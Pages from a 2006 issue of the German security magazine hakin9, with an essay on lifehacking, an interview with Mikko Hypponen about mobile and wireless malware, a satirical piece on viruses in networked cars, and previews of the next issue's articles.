Viele Informatiker können bis heute den Medien nicht verzeihen, dass der Begriff Hacker allgemein falsch verstanden wird. Wichtiger ist aber, dass der gute Geist von Eric S. Raymond oder Richard Stallman noch nicht verschwunden ist. Im Netz materialisiert er sich jetzt in Form eines neuen Phänomens – als Lifehacking. Ein Phänomen, das sogar von amerikanischen Linguisten beachtet wird.
S
ie haben ein elektronisches Flugticket gekauft und möchten nun in die Business-Klasse, obwohl Sie sich keine Boardkarte ausgedruckt haben? Sie wissen nicht, welcher Monat für den Einkauf von Haushaltgeräten, Häusern oder Spielzeugen der beste ist? Wollen Sie den Zinsanteil ihres Kredits verringern? Oder auf eine einfache Weise die Funktionalität eines iPods verbessern, ohne das Risiko eines Garantieverlustes einzugehen? Das Lifehacking kennt die Antworten nicht nur auf diese Fragen, sondern auch auf Tausende andere. Das Internet gibt uns die Möglichkeit, Lösungen, das wir entdeckt haben, mit anderen zu teilen – wer nur für sich arbeitet, der hat weniger Spaß und wird schnell einsam. Informatikliebhaber und Hacker wissen das. Es ist also kein Zufall, dass das Lifehacking eben hier erschaffen wurde. Die Arbeit an der Verbesserung von Betriebssystemen und Software, das Finden und Reparieren von Fehlern und Lücken führt zu einfachen Lösungen – und genau darum geht es beim Lifehacking: das Leben einfacher zu gestalten. Hey, und Spaß zu haben.
76
hakin9 Nr. 3/2006
Alles hat mit einem iPod angefangen
Eine Suche nach dem Autor des obigen Satzes bringt nichts. Genauso wie vieles andere im Internet ist das Lifehacking einfach irgendwie erschienen. Für die Initialzündung war das Vorhandensein eines elektronischen Produkts notwendig, das sowohl von normalen Leuten als auch von Computer-Freaks angenommen werden musste. Ein solches Produkt wurde von Steve Jobs konzipiert. Die Konsumenten haben sich in seine iPods verliebt, selbst wenn sie ab und zu kleinere oder größere Probleme mit den Dingern haben. Wie kann man es machen, dass ein Abspielgerät in Windows 98 erkannt wird? Wie kann man einen iPod mit Video-Dateien auffüllen, ohne iTunes zu benutzen? Welche Zusätze verbessern die Funktionsweise meines iPods? Wo außer bei iTunes finde ich interessante podcasts? Weiße Geräte mit einem schönen ApfelLogo haben sehr viele Fragen ausgelöst. Viele davon wurden schneller von Internetbenutzern als von der Apple-Hotline beantwortet; eben auf den Internetforen der iPod-Benutzer wurde der Begriff Lifehacking populär. Die meisten
www.hakin9.org
Was ist Lifehacking – und warum es wichtig ist.
Teilnehmer der Diskussionen, die Ratschläge gegeben haben, waren gut ausgebildete Personen, die das Internet oft benutzen. Viele davon sind Blogger. Das waren gute Voraussetzungen. Dank Blogs wurden die Informationen verbreitet, und es entstanden auch zahlreiche Websites, die Howto-Ratschläge angeboten haben, die eigentlich mit mp3-Abspielgeräten nichts mehr zu tun hatten. Im Laufe der Zeit wurde Lifehacking populär – zumindest in Amerika. Im Dezember haben die Redakteure von Oxford University Press neue Wörter in der englischen Sprache erwähnt, die – ihrer Meinung nach – die im Alltag verwendete Sprache am meisten beeinflusst haben.
Don't live to geek
Eine der besten Webseiten über Lifehacking, Lifehacker.com, bietet täglich neue Informationen, deren Vielfalt sehr groß ist. Man kann dort erfahren, wie man ausgebrannte Pixels auf einem LCD-Bildschirm los werden kann, oder wie man einen kaputten Tisch repariert. Die Webseite bietet nicht nur reine Informationen, sondern auch Präsentationen in einer Video-Form. Eine Filmpräsentation der Linux-Installation auf einem iPod ist für einen durchschnittlichen Benutzer bequemer als die beste Textbeschreibung.Trotz allem Anschein hat Lifehacker.com noch
nicht Ratschläge für Alles, aber die ab und zu auftretenden lustigen Infos (siehe Tisch) ändern das allgemein positive Bild der Webseite nicht. Die interessantesten Ratschläge sind die Informationen über die alltägliche Benutzung von Software und Rechnern. Für die Gruppe der Anfänger udn Einsteiger bietet die Webseite zum Beispiel Tipp-Pakete, wie Pegtop PStart (http://www.pegtop.net/ start) oder Portable Apps (http: //portableapps.com/suite), und für Fortgeschrittene gibt es Hinweise zur Führung eines Heimservers oder Bedienung von MySQL, PHP oder JSP. Man muss betonen, dass das Lifehacking für Informatikspezialisten nützlich sein kann, aber die eigentliche Zielgruppe sind doch eher die normalen User.Die Webseite wird durch zahlreiche traditionelle Medien empfohlen, wie Wall Street Journal, Guardian oder Time. Das Ziel von Lifehacker.com ist eindeutig: Computers make us more productive. Yeah, right. Lifehacker recommends the downloads, web sites and shortcuts that actually save time. Don't live to geek; geek to live.
Offensichtliche Sachen braucht man auch Eine andere Webseite über Lifehacking, Lifehack.org, konzentriert sich vor allem auf die nicht virtuelle Seite des Lebens. Es gibt hier äußerst
Über den Autor
Michał Piotr Pręgowski hat Journalismus und politische Wissenschaften an der Universität Warschau studiert. Aktuell arbeitet er an seiner Doktorarbeit im Institut der Sozialwissenschaften. Unter seinen Interessen befinden sich: der soziale Einfluss der internetbasierten Medien, die Selbstpräsentation in einer Computer-gesteuerten Kommunikation, Ludology. Er führt ein Blog über diese Sachen, das unter der Adresse www.error300.org zu finden ist.
Im Internet • • • •
http://www.ipodhacks.com – verbessern Sie ihren iPod, http://www.lifehack.org – gute Ideen für den Alltag, Lifehacking für mehr Produktivität, http://www.lifehacker.com – eine Webseite für die bessere Bedienung von Computer- und Webapplikationen, http://www.geekstogo.com/forum/forums.html – ein Forum für Lifehacker, die sich für das Netz und Informatik interessieren.
www.hakin9.org
interessante Informationen, die nirgendwo anders zu finden sind – z.B. eine ausführliche Beschreibung, wie man die Einsteigen-Prozedur in der touristischen Klasse der SouthwestFluggesellschaft vermeidet. Eine lange Schlange ist nichts angenehmes, warum sollen wir es also nicht schnell und angenehm erledigen, in dem wir – völlig legal – in die Business-Klasse einsteigen? Unter den fünfzig wichtigsten Tricks des Jahres 2005 laut Lifehack.org kann man u.a. Ratschläge zum glücklichen Leben, effektiven Schlaf oder... effizienten Aufräumen finden. Ratschläge, die ziemlich trivial aussehen. Das ist die schlechtere Seite von Lifehacking – je verbreiteter es wird, umso mehr Ratschläge tauchen auf, die für die breite Masse eher uninteressant sind. Letzten Endes braucht man sich aber nicht zu ärgern, schließlich ist niemand von uns ein Experte in allen Sachen.
Kann man das Hacking entzaubern?
Eric S. Raymond und andere erklären geduldig seit Jahren den unerfahrenen Journalisten, dass ein Hacker nicht dasselbe wie ein Cracker ist. Das Problem ist, dass das populäre Wort, das in der Umgangssprache einmal falsch verstanden wurde, seine ursprüngliche Bedeutung nur durch Ausbildung der Presse nicht wiedererlangen wird. Es sei denn, dass das Hacking mit Hilfe von Lifehacking entzaubert wird. Man kann anmerken, dass sich Hacking und Lifehacking höchstens im allgemeinen Überblick ähnlich sind und dass sich Hacking mit viel ernsthafteren Sachen beschäftigt. Offenbar beruht Livehacking auf ähnlichen Ideen. Daraus sollte sich die Hoffnung ergeben, dass sich das Lifehacking auch in Europa etablieren wird. Letzendlich ist es angenehm, zu denken, dass man die allgemeine Meinung über Hacking nicht nur mit schwerer Arbeit verbessern kann, sondern auch durch Vorbereiten von Sushi auf eine von hundert- achtundzwanzig gerade kennengelernten Arten. l
hakin9 Nr. 3/2006
77
Eine neue Virengeneration: ist niemand mehr sicher? Interview
Interview mit Mikko Hypponen
Mikko Hypponen – ein Mensch, der einen Teil seines Lebens dem Schutz von tausenden Computern vor digitalen Schädlingen gewidmet hat. Im letzten Jahr hat er als erster die ganze Welt vor dem Angriff des Sasser-Virus gewarnt. Das von ihm geführte Team hat auch die Folgen der Slapper-Angriffe im Jahre 2002 eingedämmt. Außerdem hat das Team das weltweite Netz deaktiviert, welches vom Sobig.F-Wurm im Jahre 2003 verwendet wurde.
h9 : Den Großteil Deines Auftrittes auf der F-Secure-Konferenz hast Du der Sache der Viren, Würmer und Trojaner für Mobilgeräte gewidmet. Du hast dabei über die aktuelle Situation gesprochen. Wir möchten allerdings wissen, wie sieht Deiner Meinung nach die Zukunft des schadhaften Codes in WLAN- und BluetoothNetzwerken aus? MH: Potentielle Gefahren für drahtlose Netze sind das zentrale und auch schwerwiegendste Thema, dem sich unsere Teammitglieder widmen. Bisher haben wir wirkliche Gefahren noch nicht angetroffen, doch man muss wachsam sein. Stellen wir uns einen Angriff vor, der sich selbständig über tausende von Funkverbindungen ausbreitet. Es ist dabei unwichtig, ob es sich dabei um Bluetooth oder WLAN handelt. Solche Viren und Trojaner verbreiten sich in einem einzigen Augenblick - von einem Laptop auf einen anderen, von dort aus auf einen Palmtop, von dem Palmtop auf das Handy eines Bankdirektors, und von dort aus in das interne Banknetz. h9 : Katastrophal. Und was passiert danach? MH: Somit bekommt der Virus einen leichten Zugriff auf einen durch keine Firewalls und Filter geschützten Bereich. Es sei zu bemerken, daß all dies sehr leicht und ohne die Notwendigkeit,
78
hakin9 Nr. 3/2006
irgendwelche Schutzmaßnahmen zu umgehen, geschieht. Genauso, wie es Würmer vom Typ Zotob machen. Seine Verbreitungsmethoden in strategisch wichtige Bereiche, sehen beispielsweise folgendermaßen aus: ein Mitarbeiter hat seinen Laptop zu Hause unbewusst infiziert und ihn dann mit an die Arbeit genommen, wo er ihn an das Firmennetz angeschlossen hat. Dies war ausgereichend, damit Zotob ins interne Netz der Firma gelangen konnte. h9: Wird der Infektionsprozess erleichtert, wenn WLAN- und Bluetooth-Viren erscheinen? MH: Wesentlich leichter! Es reicht, mit einem infizierten Laptop zu reisen. Von einem Moment zum anderen ist der Virus nicht nur im eigenen Netz, sondern auch im Netz des Nachbarn, der nebenan wohnt. Des Weiteren wird man auch das Handy des Pizza-Zulieferers infizieren, der gerade das Büro betritt. Damit ein solcher Angriff erfolgreich sein kann, müssen jedoch erst diverse Remote-Exploits vorhanden sein, die auf den Stacks von Bluetooth und WLAN Geräten anwendbar sind. h9: Gab es bereits erste Anzeichen einer solchen Gefahr? MH: Leider ja, zum Beispiel fanden sich Löcher in Sicherheitsmechanismen des Bluetooth-Stacks
www.hakin9.org
Interview mit Mikko Hypponen
von Vidcom. Die meisten Arbeitsstationen mit installiertem Windows-System waren über zwei Jahre lang für einen Remote-Exploit anfällig, welches verwendet werden kann, um über Bluetooth einen beliebigen Code auf dem angegriffenen System auszuführen. Wir befürchten, dass Sicherheitslücken in populären WLAN-Standards entdeckt werden und wissen, dass eine solche Entdeckung nicht nur möglich, sondern sogar höchst wahrscheinlich ist. h9 : Bei Deinem Auftritt hast Du über das System Symbian OS gesprochen. Meines Wissens ist es bisher das einzige Betriebssystem für Handys, das infiziert werden konnte. Woher kommt es, dass man einen Virus gerade für Symbian erstellen kann und beispielsweise nicht für das mobile Linux? MH: Es gibt keine einzige Sicherheislücke. Jedes Virus, jeder Wurm und Trojaner, die wir gesehen haben, wollte nicht ein konkretes Sicherheitsloch ausnutzen, sondern hat eher auf der Unachtsamkeit des Benutzers basiert. Solche Viren funktionieren nach genau demselben Prinzip, wie auch E-Mail-Viren. h9 : Genauso wie LoveLetter? MH: Exakt. Leute, die sich von dem Betreff und Inhalt der Nachrichten täuschen lassen, öffnen das Attachement. Auf dem gleichen Prinzip basieren heutzutage Viren, die Handys infizieren und sich über Bluetooth verbreiten. Der Benutzer selbst ist immer noch die größte Gefahr, die zur Infektion eines mobilen Geräts führen kann. Wenn man die Systeme Windows und Symbian vergleicht, kann man interessante Schlußfolgerungen ziehen. Symbian warnt den Benutzer vor einem Startversuch einer unbekannten Applikation – Windows nicht. Unter diesem Aspekt betrachtet ist also Symbian... sicherer als Windows. h9 : Mit welchen gefährlichen Trojanern habt Ihr im Laufe der letzten Monate zu tun gehabt? MH: Wenn es um Infektionen von Mobilgeräten geht, müssen solche Trojaner erwähnt werden, die sogar das Starten des Geräts nicht mehr ermöglichten. Es gab Infektionen, durch die man das infizierte Handy gar nicht mehr benutzen konnte – man konnte nicht einmal mehr die Notrufnummer wählen. Die Reparatur eines solchen Gerätes kann auf verschiedene Arten erfolgen. Man kann das Handy auf Herstellereinstellungen zurücksetzen, was eine Formattierung des gesamten Speichers und einen Verlust aller Daten zur Folge hat. Und das will ja keiner. Man kann auch ein anderes Handy benutzen, um eine Speicherkarte mit unserer Software vorzubereiten, die das bösartige Programm vom infizierten Handy entfernt. Der letzte interessante Trojaner war blank phone. Er erhielt seinen Namen auf Grund seiner speziellen Funktionsweise - es ist nach einer Infektion nicht mehr möglich, irgendetwas im Gerät zu lesen, denn es gibt zwar Symbole und Bilder aber man kann keine Fonts mehr sehen. Es ist verzwickt, denn selbst wenn man ein Antivirenprogramm installiert hat, sieht man keinen Text und kann es nur sehr schwierig aufrufen. Man muss wissen,
www.hakin9.org
welche Tastenkombination zu drücken ist, damit man den Virus los werden kann. h9 : Gibt es eine Gefahr, dass man sein Handy durch ein heruntergeladenes Java-Spiel infiziert? MH: Erstens – wir haben noch kein Java-Spiel gesehen, das einen Virus enthalten würde. Es gibt dahingehend sicherlich Gefahren, die wir allerdings noch nicht entdecken konnten. Alle bösartigen Programme, mit denen wir zu tun hatten, waren ein nativer Code von Symbian. h9 : Welchen Ratschlag kannst Du Besitzern von Mobilgeräten mit einem Symbiansystem und Bluetooth geben, um ein Maximum an Sicherheit zu erreichen? MH: Praktisch alle Gefahren betreffen das Symbian der 60er-Serie. Wenn das Mobilgerät mit einem anderen Betriebssystem ausgestattet ist, wie Symbian 40 oder 80, Windows oder Linux, ist das Risiko sehr, sehr gering. Wenn es sich um ein Handy mit Symbian 60 handelt, existiert eine Infektionssgefahr in dem Moment, in dem unbekannte Applikationen installiert werden. Um sich dagegen zu schützen, sollte man Bluetooth ausschalten oder zumindest in den versteckten Modus übergehen und Applikationen nicht akzeptieren – es sei denn, dass sie erwartet werden. Man darf nicht Applikationen unbekannter Herkunft installieren. h9: Hat F-Secure die Absicht, in der Zukunft ein Antivirenprogramm für andere Systeme zu entwickeln, wie z.B. für Linux? MH: Zu diesem Thema darf ich leider nichts sagen, was aber nicht bedeutet, dass wir unsere Linux-Software nicht weiterentwickeln. Jeder weiss, dass Finnland ein sehr Linux-freundlicher Staat ist. Linus Torvalds hat mal gleich neben unserem Büro gewohnt. Wir interessieren uns immer für die Unterstützung jeder Linux-Plattform. h9 : Ich bin sehr gespannt, wie Du Dein eigenes privates System und Dein eigenes Handy vor Angriffen schützt... MH: Nach über 15 Jahren Arbeit in dieser Branche habe ich eine ein bisschen paranoide Einstellung in der Sache der Schutzmaßnahmen und verwende mehrschichtige Schutzmittel. Mein Handy hat ein Antivirenprogramm, ich schliesse auch alle offenen Ports, die für einen Angriff verwendet werden könnten. Auf der Seite meines Rechners benutze ich zwei Hardware-Firewalls – die eine basiert auf einem BSD-System, die andere befindet sich in meinem Router. Auf meinem Laptop benutze ich eine SoftwareFirewall mit einer Antiviren-Software, die das System in Echtzeit scannt. Wenn es um den Antispam-Schutz geht, verwende ich seit über 10 Jahren eine Email-Adresse, die allgemein bekannt ist. Wie man sich leicht denken kann, bedeutet dies täglich eine Unmenge von Spam. Ich schütze mich davor mit Hilfe von procmail auf meinem Unix-Server, der einen großen Teil des Spam entfernt. Nach dem Herunterladen der restlichen Nachrichten verwende ich zwei weitere Filter. Somit empfange ich lediglich 5 bis 10 Spam-Nachrichten pro Tag. h9 : Ich bedanke mich für das Interview, Mikko. MH: Ich danke auch und begrüße die Leser des hakin9Magazins.
hakin9 Nr. 3/2006
79
Mein Auto hat eine Firewall Feuilleton Regis Gabineski
W
er sagt, Technologie macht das Leben nur leichter? Heute Morgen hat mein BTicino um 5 Uhr die Fenster geöffnet und das Licht in meinem Schlafzimmer angemacht. Ein einziger Fehler in dem Gadget und ich werde um eine Stunde Schlaf gebracht! Ich war zwar wütend, stand aber ziemlich tatkräftig auf und ließ meine stimmgesteuerte Badewanne ein Bad von 31 Grad Celsius vorbereiten. Nachdem ich in der Küche meinen Joghurt gewählt hatte, prüfte ich meine E-Mails und stellte fest, dass der BTicino Recht hatte. Die erste E-Mail in der Mailbox besagte, dass ich um 6 Uhr irgendwo auf der anderen Seite der Stadt sein müsse! Zwar hatte ich noch andere wichtige E-Mails zu lesen, doch das konnte ich auch unterwegs erledigen. Autos unterstützen jetzt BlueTooth, Wi-Fi, GPS, GPRS und andere Übertragungstechnologien. Sie verfügen auch über mehrere mächtige Betriebssysteme, die dem Fahrer und den Passagieren Live-Sprachkommunikation, den Zugriff auf personalisierte Websites und die Möglichkeit bieten, Unterhaltungs- und Nutzdienste zu bestellen. Der ganze Komfort hat die Zahl der Wagen auf den Straßen drastisch erhöht und jetzt dauern Fahrten länger. Kein Wunder, dass ich eine Stunde brauche, um die Stadt zu durchqueren. Das Murphysche Gesetz erweist sich für mich immer wieder als wahr. Ich bin bereits verspätet und stecke nach wie vor im Stau. Die Wagenschlange ist enorm; ich verbringe die Zeit mit dem Lesen meiner E-Mails und schaue mir einen Film auf DVD an. Während ich mir auf diese Weise die Wartezeit überbrücke, muss ich stets daran denken, wie toll es ist, so viele Ressourcen in einem mobilen und so engen Raum zur Verfügung zu haben. Mein Wagen ist mit einem Sicherheitssystem bestückt, für das der Fahrer die höchste Prioritätsstufe besitzt. Verkehrsgefährdende Einrichtungen werden abgeschaltet, wenn sich das Auto bewegt. Im Fahrzeug ist das FreeBSD-System installiert, das Motorfunktionen, Bremsen, Getriebe und Airbags kontrolliert. Um eine Zerstreuung des Fahrers zu vermeiden, verlässt es sich dennoch auf ein UNIX-System. Die Betriebssysteme kommunizieren miteinander, sind aber voneinander unabhängig. Der Wagen verwendet eine BlueTooth-Verbindung im Zündmechanismus, in den Seitentüren und dem Kofferraum. Das Kontrollpanel erhält eine Satellitenverbindung aufrecht. Insgesamt gibt es vier Wege, über die fahrzeugspezifische Viren eindringen können. Gott sei Dank ist eine Firewall installiert.
80
hakin9 Nr. 3/2006
Meine Überlegungen werden plötzlich durch das vor mir liegende Chaos unterbrochen. Mehrere Autos fangen an zu dröhnen, ihre Warnbeleuchtung blinkt, ihre Kofferräume öffnen und schließen sich und Wasser spritzt über die Windschutzscheiben. Zum selben Zeitpunkt meldet das Sichterheitssytem meines Wagens Versuche ins Betriebssystem einzudringen. Ein Virus strebt danach die Kontrollpanels meines Fahrzeugs zu übernehmen und bestimmte Ressourcen zu aktivieren. Glücklicherweise hat das Problem mein Auto nicht direkt betroffen, meine Verspätung nimmt dadurch aber weiter zu. Ich habe zwar im Web gesurft und ein paar Filme downgeloadet, doch das eigentliche Ziel meiner Reise, eine pünktliche Ankunft, wurde verfehlt.. Was wäre aber, wenn das Virus mein Auto erfolgreich befallen hätte? Wenn es plötzlich auf 200 Stundenkilometer beschleunige und sich nicht mehr stoppen ließe? Es könnte schlimmer sein. Wenn aber alle Fahrer im Stau eine Firewall installiert gehabt hätten, wäre überhaupt nichts passiert. Es ist unwahrscheinlich, dass uns solch ein Tag wirklich passieren könnte. Es ist aber gut möglich, dass unsere Kinder ein derartiges Szenario öfters erleben werden. Die Kommunikationsfähigkeiten der Fahrzeuge helfen Fahrern und Passagieren unterwegs sicher und zuverlässig zu kommunizieren, präzise Informationen auf Anfrage zu erhalten und auf digitale Medien zuzugreifen. Weiters gibt es noch GPS-Verfolgung, die ein konkretes Auto unter vielen ausfindig machen lässt. Heutzutage stehen nur wenigen Leuten solche Ressourcen zur Verfügung, doch der unaufhaltsame Fortschritt wird irgendwann diese hoch entwickelte Fahrzeugtechnologie auch in unser alltägliches Leben überführen. Die Vorstellung, dass sich Autos gegen Menschen wenden könnten, wirkt an den Haaren herbeigezogen. Ein Übeltäter müsste auf den Wagen schon eine Zeit lang physikalisch zugreifen können, um einen Bug darin einzuschleusen. Zumindest jetzt noch. Ein erfolgreicher Virus könnte auf Grund der unterschiedlichen Technologien nur in wenigen Autos funktionieren. Die Möglichkeit, dass er sich von Wagen zu Wagen verbreiten könnte, liegt noch in ferner Zukunft, die allerdings mit immer schnelleren Schritten auf uns zukommt. Was wäre wohl passiert, wenn eines dieser Viren einen Wagen mit Windows Automotive angegriffen hätte oder beim Überholen den Blue Screen of Death auslösen würde? l
www.hakin9.org
hakin9 4/2006
In der kommenden Ausgabe u.a.: Ankündigungen
Jailen von Diensten in FreeBSD Praxis
FreeBSD wird als eines der sichersten Betriebssysteme für Produktionsserver angesehen. Es wird von solchen Firmen wie Yahoo, Novell, Apache Inc., Hotmail und sogar Microsoft verwendet. Remigiusz Hajduk beschreibt die Features einer Jail in FreeBSD 5.x und 6.x. Es wird gezeigt, wie mithilfe dieser Technik eine sichere Umgebung für populäre Dienste wie E-MailServer, FTP, WWW oder Datenbanken erstellt werden kann. Des Weiteren wird ein ähnlicher Mechanismus namens chroot auf hin Schwachstellen geprüft.
Techniken zum Aufdecken und Identifizieren von Viren Techniken
Die Viren sind ein wahrer Alptraum vieler Computerbenutzer. Sowohl das Vorbeugen von Infektionen als auch Heilen eines infizierten Rechners sind nur noch mithilfe eines Antivirenprogramms möglich, das über aktuelle Virensignaturen verfügt. In seinem Artikel stellt Robert Majdański vor, wie ein Antivirenprogramm eine verdächtige Aktion im System entdeckt, sowie auf welche Weise es ein Virenprogramm findet und es entfernt. Außerdem schauen wir uns die Gefahren an, die mit der Ausbreitung von Virensignaturen unter den Benutzern verbunden sind und beschreiben, wie man sich vor ihnen schützen kann.
Die Proxy-Scan-Technik Fokus
Worin besteht das Proxy-Scannen und wodurch unterscheidet es sich vom passiven oder aktiven Scannen? Pablo Fernandez beschreibt ausführlich, wie diese Technik sowohl zum Scannen eines einzelnen Hosts sowie des gesamten Netzwerks – auch in einem Unternehmen – eingesetzt werden kann. Wir erfahren auch, wie der Scannvorgang mithilfe des Tools proxychain verbessert werden kann. Darüber hinaus stellt der Autor vor, wie proxy scan zum Umgehen von Firewalls benutzt werden kann.
Sammeln von Viren Umgebung
Manchmal kann ein Hobby seltsame Formen annehmen. Bekannt ist das Sammeln von Briefmarken, Postkarten oder Münzen... In diesem Artikel zeigen wir, dass auch die Computerviren und andere Schadprogramme kollektioniert werden können. Wie entsteht eine solche Sammlung und wie kann sie verwaltet werden? Wie kann sie zum Vertiefen unseres Wissens über die Applikationen dieser Art verwenden werden, ohne dass unsere Umgebung darunter leiden muss? Die Antworten auf diese Fragen finden Sie in der kommenden Ausgabe des Magazins hakin9.
Aktuelle Informationen zur kommenden Ausgabe – http://www.hakin9.org/de Die Ausgabe ist ab Anfang Juli 2006 im Handel erhältlich. Die Redaktion behält sich das Recht auf die Änderung in der Artikelzusammenstellung vor.